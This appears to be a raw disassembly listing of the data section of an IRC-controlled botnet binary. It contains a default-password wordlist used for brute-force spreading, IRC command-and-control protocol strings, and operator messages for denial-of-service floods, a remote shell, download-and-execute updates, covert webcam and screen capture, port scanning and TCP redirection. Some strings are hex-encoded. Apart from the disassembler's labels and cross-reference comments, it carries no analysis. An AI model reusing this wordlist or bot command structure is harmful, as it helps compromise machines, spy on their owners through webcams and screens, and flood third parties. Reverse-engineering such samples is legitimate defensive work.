a2000		db '2000',0             ; DATA XREF: seg002:0042A2BCo
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: seg002:0042A2B8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:0042A2B4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg002:0042A2B0o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: seg002:0042A2ACo
a123456		db '123456',0           ; DATA XREF: seg002:0042A2A8o
		align 10h
a12345		db '12345',0            ; DATA XREF: seg002:0042A2A4o
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:0042A2A0o
		align 10h
a123		db '123',0              ; DATA XREF: seg002:0042A29Co
a12		db '12',0               ; DATA XREF: seg002:0042A298o
		align 4
a1:					; DATA XREF: seg002:0042A294o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: seg002:0042A290o
aPwd		db 'pwd',0              ; DATA XREF: seg002:0042A28Co
aPass_0		db 'pass',0             ; DATA XREF: seg002:0042A288o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: seg002:0042A284o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg002:0042A280o
		align 10h
aPassword	db 'password',0         ; DATA XREF: seg002:0042A27Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:0042A278o
		align 4
aAdm		db 'adm',0              ; DATA XREF: seg002:0042A274o
aDb2		db 'db2',0              ; DATA XREF: seg002:0042A250o
					; seg002:0042A41Co
aOracle		db 'oracle',0           ; DATA XREF: seg002:0042A24Co
					; seg002:0042A434o
		align 4
aDba		db 'dba',0              ; DATA XREF: seg002:0042A248o
aDatabase	db 'database',0         ; DATA XREF: seg002:0042A244o
					; seg002:0042A3FCo
		align 4
aDefault	db 'default',0          ; DATA XREF: seg002:0042A240o
					; seg002:0042A2ECo
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0042A23Co
					; seg002:0042A2D4o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:0042A238o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:0042A234o
					; seg002:0042A47Co
aStudent	db 'student',0          ; DATA XREF: seg002:0042A230o
					; seg002:0042A478o
aOwner		db 'owner',0            ; DATA XREF: seg002:0042A22Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg002:0042A228o
		align 4
aRoot		db 'root',0             ; DATA XREF: seg002:0042A224o
					; seg002:0042A2F8o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: seg002:0042A220o
					; seg002:0042A480o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: seg002:0042A21Co
					; seg002:0042A270o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: seg002:0042A218o
					; seg002:0042A26Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:0042A214o
					; seg002:0042A268o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:0042A210o
					; seg002:0042A264o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:0042A20Co
					; seg002:0042A260o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:0042A208o
					; seg002:0042A25Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A164o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A160o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A15Co
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_42A158o
		align 4
a@fofo		db '*@fofo',0           ; DATA XREF: seg002:off_42A154o
		align 4
		dd 234032Dh, 75636573h,	2036572h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h
		dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h
		dd 234032Dh, 75636573h,	2036572h, 6552202Dh, 74736967h
		dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh
		dd 75636573h, 2036572h,	6146202Dh, 64656C69h, 206F7420h
		dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h
		dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h
		dd 2036572h, 7953202Dh,	6D657473h, 63657320h, 20657275h
		dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh
		dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h
		dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h
		dd 63612072h, 65766974h, 2Eh, 234032Dh,	6E69616Dh, 202D0203h
		dd 20746F42h, 72617473h, 2E646574h, 0
		dd 25207325h, 25222064h, 2273h
dword_42AAE4	dd 255C7325h, 73h	; DATA XREF: sub_415B31+7Eo
dword_42AAEC	dd 73257325h, 0		; DATA XREF: sub_40FA29+E9o
					; sub_40FCD8+4CFo ...
unk_42AAF4	db  2Dh	; -		; DATA XREF: sub_401875+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_4019DB+55o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_4019DB+28o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004098F2o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:004098DDo
		align 4
unk_42AB5C	db  2Dh	; -		; DATA XREF: seg000:004098C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42AB7C	db  2Dh	; -		; DATA XREF: seg000:004098ACo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_42AB9C	db  2Dh	; -		; DATA XREF: seg000:00409857o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:00409834o
		align 10h
unk_42ABF0	db  2Dh	; -		; DATA XREF: seg000:004097EAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:004097DBo
					; seg000:00409848o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:004097C7o
		align 10h
asc_42AC70:				; DATA XREF: seg000:00409797o
		unicode	0, <~>,0
unk_42AC74	db  2Dh	; -		; DATA XREF: seg000:00409746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_42AC98	db  2Dh	; -		; DATA XREF: seg000:004096DCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: seg000:00409696o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42ACE4	db  2Dh	; -		; DATA XREF: seg000:00409676o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42AD08	db  2Dh	; -		; DATA XREF: seg000:00409659o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: seg000:00409635o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_42AD50	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: seg000:00409618o
		dd 2E732520h, 0
unk_42AD6C	db  2Dh	; -		; DATA XREF: seg000:loc_4095A2o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_42AD98	db  2Dh	; -		; DATA XREF: seg000:0040959Bo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_42ADBC	db  2Dh	; -		; DATA XREF: seg000:loc_40955Eo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42ADE4	db  2Dh	; -		; DATA XREF: seg000:00409554o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: seg000:0040953Ao
unk_42AE10	db  2Dh	; -		; DATA XREF: seg000:00409430o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: seg000:loc_409417o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42AE5C	db  2Dh	; -		; DATA XREF: seg000:0040940Do
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_42AE7C	db  2Dh	; -		; DATA XREF: seg000:004093E0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42AEA4	db  2Dh	; -		; DATA XREF: seg000:loc_4093C0o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: seg000:00409395o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42AEEC	db  2Dh	; -		; DATA XREF: seg000:loc_409358o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42AF1C	db  2Dh	; -		; DATA XREF: seg000:0040934Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42AF3C	db  2Dh	; -		; DATA XREF: seg000:loc_4092FAo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42AF6C	db  2Dh	; -		; DATA XREF: seg000:004092F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_42AF90	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: seg000:004092A8o
		dd 27732527h, 2Eh
unk_42AFAC	db  2Dh	; -		; DATA XREF: seg000:00409279o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AFE8	db  2Dh	; -		; DATA XREF: seg000:00409220o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_42B00C	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: seg000:004091ACo
		dd 0
unk_42B024	db  2Dh	; -		; DATA XREF: seg000:00409178o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42B064	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: seg000:0040911Fo
		dd 2Eh
dword_42B07C	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: seg000:loc_409076o
		dd 746E6573h, 2Eh
unk_42B098	db  2Dh	; -		; DATA XREF: seg000:0040906Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42B0B8	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: seg000:00409030o
		dd 732520h
unk_42B0D0	db  2Dh	; -		; DATA XREF: seg000:00409028o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42B0FC:				; DATA XREF: seg000:0040900Ao
					; sub_40FA29+FAo ...
		dw 0Ah
		unicode	0, <>,0
unk_42B100	db  2Dh	; -		; DATA XREF: seg000:00408FE0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42B124	db  2Dh	; -		; DATA XREF: seg000:00408FCAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42B148	db  2Dh	; -		; DATA XREF: seg000:loc_408F4Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42B188	db  2Dh	; -		; DATA XREF: seg000:loc_408F45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42B1C8	db  2Dh	; -		; DATA XREF: seg000:00408F32o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: seg000:loc_408EA4o
		align 4
unk_42B1FC	db  2Dh	; -		; DATA XREF: seg000:loc_408E91o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42B234	db  2Dh	; -		; DATA XREF: seg000:loc_408E8Ao
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42B268	db  2Dh	; -		; DATA XREF: seg000:00408E7Ao
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: seg000:loc_408E03o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: seg000:00408DF6o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42B2C4	db  2Dh	; -		; DATA XREF: seg000:00408DC3o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: seg000:loc_408D76o
unk_42B2F4	db  2Dh	; -		; DATA XREF: seg000:loc_408D63o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 10h
unk_42B330	db  2Dh	; -		; DATA XREF: seg000:loc_408D5Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 10h
unk_42B360	db  2Dh	; -		; DATA XREF: seg000:00408D4Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: seg000:loc_408D1Bo
		align 4
dword_42B394	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: seg000:00408D03o
		dd 2E732520h, 0
unk_42B3B0	db  2Dh	; -		; DATA XREF: seg000:loc_408CC0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 10h
unk_42B3E0	db  2Dh	; -		; DATA XREF: seg000:00408CAAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42B408	db  2Dh	; -		; DATA XREF: seg000:00408C07o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42B428	db  2Dh	; -		; DATA XREF: seg000:00408BC7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42B448	db  2Dh	; -		; DATA XREF: seg000:00408B6Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42B464	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: seg000:00408AFEo
dword_42B478	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: seg000:00408AC4o
					; seg000:00409625o
unk_42B484	db  2Dh	; -		; DATA XREF: seg000:00408A9Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:00408A8Co
		align 4
dword_42B4AC	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: seg000:00408A61o
		dd 25203A29h, 73h
dword_42B4C8	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: seg000:004089F5o
		dd 203A2973h, 7325h
dword_42B4E4	dd 45444F4Dh, 732520h	; DATA XREF: seg000:0040899Do
dword_42B4EC	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: seg000:0040896Do
		dd 203A2973h, 7325h
dword_42B508	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: seg000:004088F7o
dword_42B514	dd 0A0D7325h, 0		; DATA XREF: seg000:004088C5o
					; seg000:0040894Eo ...
dword_42B51C	dd 54524150h, 732520h	; DATA XREF: seg000:0040888Co
dword_42B524	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: seg000:0040883Fo
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B560	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: seg000:004087E6o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42B58C	db  2Dh	; -		; DATA XREF: seg000:0040876Eo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B5C8	db  2Dh	; -		; DATA XREF: seg000:00408715o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42B5FC	db  2Dh	; -		; DATA XREF: seg000:loc_4086B2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 10h
dword_42B630	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: seg000:00408677o
		dd 7325h
dword_42B648	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: seg000:loc_4085E3o
dword_42B65C	dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: seg000:0040859Fo
					; seg000:00408651o ...
dword_42B670	dd 234032Dh, 61647075h,	3026574h, 6F42202Dh, 44492074h
					; DATA XREF: seg000:loc_408550o
		dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh
		dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h
		dd 636F7270h, 2E737365h, 0
		dd 234032Dh, 61647075h,	3026574h
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
		dd 234032Dh, 61647075h,	3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0
		align 4
dword_42B72C	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: seg000:004083D4o
		dd 7325203Ah, 0
unk_42B748	db  2Dh	; -		; DATA XREF: seg000:004083C9o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42B76C	db  2Dh	; -		; DATA XREF: seg000:00408317o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStartS	db 'Failed to start search thread, error: <%d>.',0
unk_42B7A8	db  2Dh	; -		; DATA XREF: seg000:004082B3o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
unk_42B7D8	db  2Dh	; -		; DATA XREF: seg000:004092AFo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42B808	db  2Dh	; -		; DATA XREF: seg000:loc_4081DEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42B840	db  2Dh	; -		; DATA XREF: seg000:004081BFo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B878	db  2Dh	; -		; DATA XREF: seg000:0040815Bo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42B8A4	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: seg000:004080CFo
aFailedToStar_2	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42B8E0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: seg000:00408076o
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42B910	db  2Dh	; -		; DATA XREF: seg000:00407FCFo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_3	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B948	db  2Dh	; -		; DATA XREF: seg000:00407F73o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42B978	db  2Dh	; -		; DATA XREF: seg000:00407ED7o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_4	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42B9B0	db  2Dh	; -		; DATA XREF: seg000:00407E7Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42B9E0	db  2Dh	; -		; DATA XREF: seg000:00407DF0o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42BA18	db  2Dh	; -		; DATA XREF: seg000:00407D94o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42BA54	db  2Dh	; -		; DATA XREF: seg000:00407D09o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42BA94	db  2Dh	; -		; DATA XREF: seg000:00407CB0o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42BAC0	db  2Dh	; -		; DATA XREF: seg000:00407BCFo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42BB04	db  2Dh	; -		; DATA XREF: seg000:00407B76o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42BB40	db  2Dh	; -		; DATA XREF: seg000:00407A7Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: seg000:004079F9o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: seg000:004078F7o
		align 4
dword_42BB9C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: seg000:00407863o
					; seg000:00408B4Ao
unk_42BBA8	db  2Dh	; -		; DATA XREF: seg000:004077EDo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 8
unk_42BBE8	db  2Dh	; -		; DATA XREF: seg000:00407794o
		db 3, 34h, 2
